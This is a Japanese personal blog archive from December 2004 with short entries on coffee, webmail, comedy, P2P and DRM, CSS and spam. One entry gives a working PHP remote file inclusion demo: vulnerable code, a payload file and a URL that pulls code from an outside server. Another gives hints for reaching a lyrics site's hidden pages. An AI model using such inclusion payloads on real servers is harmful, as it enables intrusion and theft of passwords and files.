毒電波Chu!: 12/01/2004 - 12/31/2004

雪だー

雪というのは、外出する人にとっては迷惑で、家にいる人には好かれるという複雑な立場にあります。

最近phpの脆弱性を利用したウイルスが流行ってるといいます。

それはincludeやrequireを利用しているのですが、かなり簡単に出来ます。

例えばこんなファイルがあったとします。
--------kiken.php--------
<?php

$file = $_GET{'file'};
include $file;

?>
-------------------------

includeで外部から来た引数のURLを開いています。
もうこれでアウトです。

こんなファイルを自分のサーバーに設置します。
これは自分のファイルを読み込んで表示するという簡単なコードです。
---------scr.txt----------
<?php

$php = $_SERVER['SCRIPT_FILENAME'];

$fp = fopen($php,"r");
$str = fread($fp,filesize($php));
fclose($fp);

echo "Hacked<br /><br />";
echo nl2br(htmlspecialchars($str));

?>
-------------------------

そして先ほどのphpファイルにこのファイルのURLを引数として渡します。
http://hoge/kiken.php?file=http://null.ifdef.jp/scr.txt
これで以下の様に表示されます。

Hacked

<?php

$file = $_GET{'file'};
include $file;

?>

これを悪用した場合、php内に書かれたパスワードや、その他のファイルなど全て覗き見されてしまいます。phpでできることが全て出来るといっても差し支えありません。
インタープリタ言語によくある脆弱性ですね。まあ暇な人は試してみてください。

というわけで、includeとrequireは気をつけて使いましょう。

前買ったイグノーベル賞の本に「ルアク・コーヒー」という幻のコーヒーが出ていました。
コーヒーの中ではかなり高い(100g:2200円でした)のですが、
採集方法がかなり特殊
で、これは絶対に飲むべきだと感じました。

結構高いのでしばらく買うのを躊躇していましたが、ついに決心が付いてインターネットで注文しました。

そして今日、注文していたルアクコーヒーがきました。
製造方法とは裏腹に綺麗な包装をして、手書きのメッセージが一言書かれたカードまで付いていて、
かなりオシャレっぽいです。

そして早速飲んでみることにしました。
フルシティーローストということもあり、味はかなり濃かったです。それでも、香りが良くて味にもしつこさが無く後味もいいです。
高いだけあっておいしいですが、やはり採集方法が気になります。

採集方法ですが、まず、ルアクというイタチにコーヒーの実を食べさせます。このルアクはグルメさんで、熟した実しか食べません。
そして、そのルアクが残していったものを集めて、洗浄します。こうしてルアクコーヒーが完成するのです。

残していったもの、つまり「うんこ」です。うんこの中から消化されずに残った部分を取り出すのです。
ようするに、
うんこコーヒー。

うんこですよ、うんこ。別に普通ですよね。
昔の農業だって肥やしを使っています。
うんこはいわば「人類への恵み」なのです、汚いなんてことはありません。

ただし、知り合いに飲ませる場合は、飲んだ後から教えてあげましょう。

ITmediaニュース：「livedoor ギガメーラー」が正式サービスに、2Gバイト版も

無料で1G、有料版で2Gでメール、アドレス帳、カレンダーやブリーフケースなどを利用可能。
またものすごい容量のサービスですね。いつも思うことですがこの1Gというのはちゃんと一人
一人に割り当てられているのでしょうか。当然1Gも使う人はいないだろうし、大体の予想で
容量を設けているのでしょうが。
ちなみに1人1G使った場合で1000人で1TB(テラバイト)。100万人では1PB(ペタバイト)
とかなりすごいことになります。
この場合、ギガバイト単価を100円とするとHDDだけで1億円になります。

まあ実際はメールだけなら100Mあったらもう十分過ぎるぐらいなんですけどね。

Yahoo!ニュース - 社会 - 時事通信

ウィニーでソフト違法入手、巡査立件せず…京都府警 : ニュース : 読売新聞大阪本社｜Yomiuri on-line 関西

人に厳しく自分に優しく。

M-1グランプリ2004

決勝進出したのは、
東京ダイナマイト、アンタッチャブル、千鳥、トータルテンボス、タカアンドトシ、
南海キャンディーズ、ＰＯＩＳＯＮ　ＧＩＲＬ　ＢＡＮＤ、笑い飯、麒麟
で、このうち最終決勝に残ったのは
アンタッチャブル、南海キャンディーズ、麒麟です。

個人的に好きだったりあるキッズは出ていないようで少し残念です。
ＰＯＩＳＯＮ　ＧＩＲＬ　ＢＡＮＤは今回初めて見たのですが、ボケとツッコミもほとんど無く、言ってることもよく分からないことが多いのですがツボにはまりました。

自分のPCでは無いのですが、「MATSHITA UJDA710」という悪名高いCDドライブで苦労しています。

症状は3種類あるようで、読めない・書けない・見えないというのがあり、うちのは3番目の見えないです。
マイコンピュータからドライブのアイコンが消えてうんともうんとも言わない状態です。

でもWinCDRをインストールした時に起こった症状なのでこっちをなんとかすれば直るかもしれませんが。
競合の警告が出たときは無視しない方がいいですね・・

ITmediaニュース：「Winnyを撃破」――ダミーファイル大量放流で著作権を守るサービス

別にP2Pによる著作権法違反を取り締まるのは構わないと思うのですが、
P2Pのソフトを起動しただけで違法にしようという動きもありますし、仮に
そうなった場合こういう行為は違法行為にあたらないんですかね。
ただ、P2Pの使用自体を違法行為とするのはまず不可能だと思いますが。
こういうことをしても違法行為は減るとは思えませんが、まずは消費者のニーズ
にあわせた流通方法などについて考察するべきだと思います。
最近はオンライン上での音楽の購入に焦点があてられてきていますが、
現在の状況ではDRMなどによる制限でかなり不便に感じます。
まず音楽再生ソフトの使用がかなり限定されます。そして大半の
消費者としてはパソコン上で音楽を聴くよりもMDに移したりして
デジタルオーディオプレーヤーを利用して外で音楽を聴きたいわけですし、
こういう制限はかなり迷惑なものに感じます。最近ではDRM対応などの
ものも出てきていますが、わざわざ買い換える気なんて起こりません。
それに対し「iTunes Music Store」はよく出来たサービスだと思います。
CDに焼いたり、iPodなどに移すのは無制限ですし。
やはり消費者は1枚1000円もするCDよりも1曲100～150円程度の
価格でのオンライン販売を望んでいるようです。

SimCity Classic Live

ずっと前からですが、SimCity(SFC版)がオンラインでプレイ出来ます。
あんまりやったことないので難しいですが、暇つぶしにやるので結構楽しん
でやっています。オンラインプレイといってもちゃんとセーブが出来ますので、
セーブファイルを友達に送ったりしても楽しそうです。

やっぱりお金がすごいことになる裏技は健在なのでしょうか。
SimCity4は恐らく自分のパソコンでは動かないです・・(スペックが低いので)

最近、検索語句「テニススコート」で当サイトに来る方が結構おられます。
昔「1789 テニススコートの誓い」とかいうアホ丸出しのタイトルで書いたこともありましたが・・

正確には
1789 テニスコート(球戯場)の誓い
です、念の為。

それと、かなり不便になったうたまっぷ(うたまっぷではなくJASRACのせいです)の
テキスト表示ページのアドレスを探してこられる方も多いようです。
あれはたしかに不便ですからね。
テキスト表示ページのアドレスを教えたいのはやまやまですが、管理者の意図しない
アクセスは不正アクセス禁止法に違反するのでは、という裁判が繰り広げられている
最中なので教えることが出来ません。

というわけでヒントだけ載せておきます。
・テキスト表示ページの拡張子は.php
・テキスト表示ページはIEのキャッシュに残っている
・歌詞を表示しているアドレスの6桁のコードが怪しい

こんな苦労をして歌詞を探しても根本的な解決にはなりません。
やはり、JASRACが改めない限り直ることはないのです。

今日は20日、スカパー!大解放デーなので色々なページを見てました。
そしてふと、下の記事が目に付いたのです。


(引用元:スカイパーフェクトTV!ガイド 12月号 P309 右下)

金田朋子といえば、最近はケロロ軍曹の
ラビー役(宇宙探偵コゴローの妹のウサ耳のやつ)で有名(?)です。

上の画像の説明文部分を読んでいってみます、

「あずまんが大王」のちよみ役でおなじみの金田朋子
に密着する特別番組をオンエア。・・・(以下略)
ん・・?

「あずまんが大王」のちよみ役で・・・(以下略)
んん・・?

ちよみ!!
誰やねん!

どうでもいいミスの発見でした。
正確には「ちよ」です。

ちなみに放送日は25日で、スカパー!大解放デーではないので見れませんが。

噂が風とともに去ったGMailですが、当方ではBlogのログ受信用に活躍しています。
数ヶ月前からBlogのログ受信に使ってかれこれ250通程になるのですが、一週間程前から急にスパムメールが来るようになりました。
メアドが自動収集されたのか、売られたのかは定かではありませんがGMailのスパムフィルターはかなり強力のようで今のところ判別率100%を誇っています。

暇があれば独自ドメインとかでどこで自分のメアドが流れているかとか調べてみたいですね。
例えば
Yahooは yahoo*****(ランダムな英数字)@hogehoge.com
トクトクは tok2*****@hogehoge.com
のようににそれぞれ違うメールアドレスにしてどのメールアドレスにスパムメールが来るのかなどやってみたいです。
某名前ドットコムではMSNのトップページに「スパムメールが来ない裏技」みたいな広告(広告と知らずにしょっちゅうクリックしてしまう)でリンクしてますが、やっぱり独自ドメインにはスパムメールは来ないんでしょうかね。

ちなみに他メールとの互換性が低いGMailですが、Invite権余ってます。

ITmediaニュース：Amazon.co.jp、漫画のオンデマンド販売を開始

amazonが書籍のオンデマンド販売の注文を開始したそうです。
ようするに受注生産ということですが、廃刊になった漫画も販売するそうで。
その中には「まいっちんぐマチコ先生」も含まれているそうです。
注文受付が今日からということで早速調べてみました。

一件目が
「実写版 まいっちんぐマチコ先生」
しかも2004年12月23日発売って、、明々後日!!
何故に今頃・・

オンデマンド版は来年の1月15日発売だそうです。買いませんが。

最後はまいっちんぐで締めくくりたいと思いましたが恥ずかしいのでやめておきます。

Wired News - ハエや腐ったリンゴを食べて動くロボット - : Hotwired

ハエや林檎を動力源とするロボットが開発されたそうです。今までも
そういう食べ物を動力源とするロボットはあったものの原材料は角砂
糖など精製されたもので無いと無理だったようです。
本文内では「死んだハエ」や「腐ったリンゴ」などの記述がありますが、
生体での実験や食べ物の無駄遣いという批判を防ぐためなのでは、
と微妙に思ったりしています。

やはり最終的にはドラ焼きでも食べるようになるのでしょうか。

(引用元:ニニンがシノブ伝 第2巻 P140)

これは反則・・・
あまりの気持ち悪さと面白さに一人悶えてました。

このニニンがシノブ伝、下ネタがやたら出てきますが、全部中学生かそれ以下のレベルで書かれているのでやらしさはそんなに感じません。しかもかなりテンションとノリが良くて、あらゆるところに笑う要素が散りばめられています。
最近笑って無いという人は一度読んでみて下さい。

この漫画に啓発されてこういうノリで喋ったら、友人に
「お前の言っている事の2/3が理解出来ない」
と言われてしまいました。(元からかもしれません)

　一昔前では環境に依存しまくるのでCSSは使わない方が良いといわれていましたが、
最近ではデザインはCSS、中身はHTMLという風に完全に分離化する傾向が出てきま
したね。
　というわけで最近はデザインは全て外部CSSファイルに記述するように努めているので
すが、書いてて思うことがあります。環境で見た目変わりすぎ。自分はFireFoxを使って
いるのですが、やはり約9割(減少中)の人はIEを使ってます。それでFireFoxでも見ら
れてIEでも見られるよう心がけているのですが、結構難しいのです。
　例えば、font-size。サイズは見る人の為になるべくsmallやx-smallなどの相対的
な値を用いて、12pxのような絶対的な値はあんまり使わない方がいいとどこかで見ました。
ただ、このサイズ指定が環境によってかなり大きさが変わってきます。smallだとFireFoxでは
やや小さくて、IEでは大きすぎる。x-smallだとIEでは丁度いいが、FireFoxでは小さい
というまた面倒な現象に直面します。
　早くどのブラウザもCSSに完全準拠して環境によって見た目が左右されなくなるよう切
に願っています。

なんか前のデザインはかなりダークな感じがしててあんまり気に入ってなかったので、少し明るめのデザインに変えてみました。

なんかすごくしょぼいですが・・

「P・2・P!P・2・P!」

なんとP2Pはたった15行のコードで実現できるんだそうです。
TinyP2P(pythonです)

また暇があったら解析していきたいと思います。

Wired News - 「電子投票機の集計結果を操作するコードを作成」と告発(上) (下)

米大統領選が不正だったという疑惑が出てますがどうなんでしょう。
米大統領選は「勝者独占方式（Winner Take All）」という方式で、勝った州ではその州の票を全てもらえるので、たとえ数万票変わったとしてもかなりの変化が起こる可能性があり、ケリーが勝っていたかもしれません。
タッチスクリーン式(要するに紙で無い投票)のところだけブッシュが予想を外れてかなりの票を獲得していたり、オハイオ州フランクリン郡ガハナ地区(もちろんタッチスクリーン式)では総投票数638人に対してブッシュに4258票などかなり怪しいことも起こってます。

とりあえず戦争やめて欲しいです・・・
アメリカは解決方法に暴力以外の手段を知らないのでしょうか

「Ｐ・Ｓ･Ｐ!Ｐ･Ｓ･Ｐ!」
最近PSPが発売しましたね。
PSP微妙にほしかったのですが、ネットで調べると結構初期不良があるようで。来年の調整済改良版出荷待ちですかね。
隠し機能で、UMD発射機能付きらしいです。携帯ゲーム機であると同時に、マルチメディアも再生出来て、武器にもなりますか。
それに対しDSは初期不良がまだ少ないみたいです。まあSONYで初の携帯ゲーム機のPSPに対して、任天堂はGBから続く老舗ですからそれだけ品質は保証されているのでしょう。
やっぱりPSPもソニータイマーがあったりするのでしょうか。
実際ソニータイマーは都市伝説とも言いますので実際のところはどうか知りませんが。ただ、前買ったVAIOノートは3年後に壊れました。買った店で5年の保障をやっていたので無料で修理できましたが。

昨日は、ふたご座流星群が見えるということで夜空を見上げてました。
見ること数分かなりか弱い流れ星がオリオン座の付近を通っていくのが見えました。
残念ながら願い事は出来ませんでした。というより流れ星が出た!と感じるのは大抵流れ星が消えた後なのでほぼ不可能っぽいですが。

ずっと前にMovableTypeの日本語版が出ていたので使ってみました。
特に使い勝手は2.xの時と変化ありませんが、「ダイナミック・パブリッシング」という機能が増えています。
テンプレートを更新した場合、アーカイブなども全て再構築しますが、結構というかかなり時間がかかります。それが、ダイナミック・パブリッシングならアクセスした時に再構築してくれるというものです。
まあ長く使ってたらきっと便利になる機能なのでしょう。

ちなみにこのBlogは設置型ではなくレンタルなので再構築を押したら勝手に再構築してくれます。それだけあってカスタマイズが不自由な点も多いのですが。

Wired Newsによると
アメリカの次の戦い方は人間ではなくてロボットなのだそうです。
積める兵器は、機関銃(M240,M249など)、ロケット弾や擲弾など。
アメリカは戦争が好きな国ですね。

最近やたらHotmailにスパムメールが来るのですが、ドメインがyahoo.co.jpとかなので迷惑メールに分類されなくて結構迷惑しています。
こんなメールです。


差出人 : 小西真奈美 <ma_manami_mi@yahoo.co.jp>
送信日時 : 2004年12月6日 1:20:11
件名 : 貴方の書き込み見ました。

----------------------------------------------

MIME-Version: 1.0
Received: from hoge ([210.165.113.17]) by mc10-f36.hotmail.com with Microsoft SMTPSVC(5.0.2195.6824); Sun, 5 Dec 2004 08:35:37 -0800
X-Message-Info: 6sSXyD95QpUSivhrpVdPAgM8D+CK7dr2
X-Mailer: Easy DM free
Return-Path: ma_manami_mi@yahoo.co.jp
X-OriginalArrivalTime: 05 Dec 2004 16:35:37.0402 (UTC) FILETIME=[733F69A0:01C4DAE8]
私は純粋に割り切ったSF希望です。
人妻ですが夫婦の生活が殆んどないです。
今からとか駄目ですか？今日が無理なら会える時教えてください。
秘密厳守と私の事知らないでいてくれるなら
会う時に5万円お渡しします。
それで連絡の交換はここでお願いします。
http://www.sweet-chat.net/ad.php/900012
無料で登録できるから真奈美で掲示板に書き込みして待ってます。


X-Mailer: Easy DM free ってアンタ・・
製作者のせめてもの罪滅ぼしといったところでしょうか。ただHotmailはヘッダで振り分けできないので意味無いですが。

そろそろ日曜の朝の新番組も明らかになってきていますね。
デカレンジャー→魔法戦隊 マジレンジャー
仮面ライダー→仮面ライダー 響鬼
ふたりはプリキュア→ふたりはプリキュア マックスハート
だそうです。

流行語対象が発表されましたが、萌などの言葉が日の光を見ることはありませんでしたね。

第一、まず流行語じゃないですし・・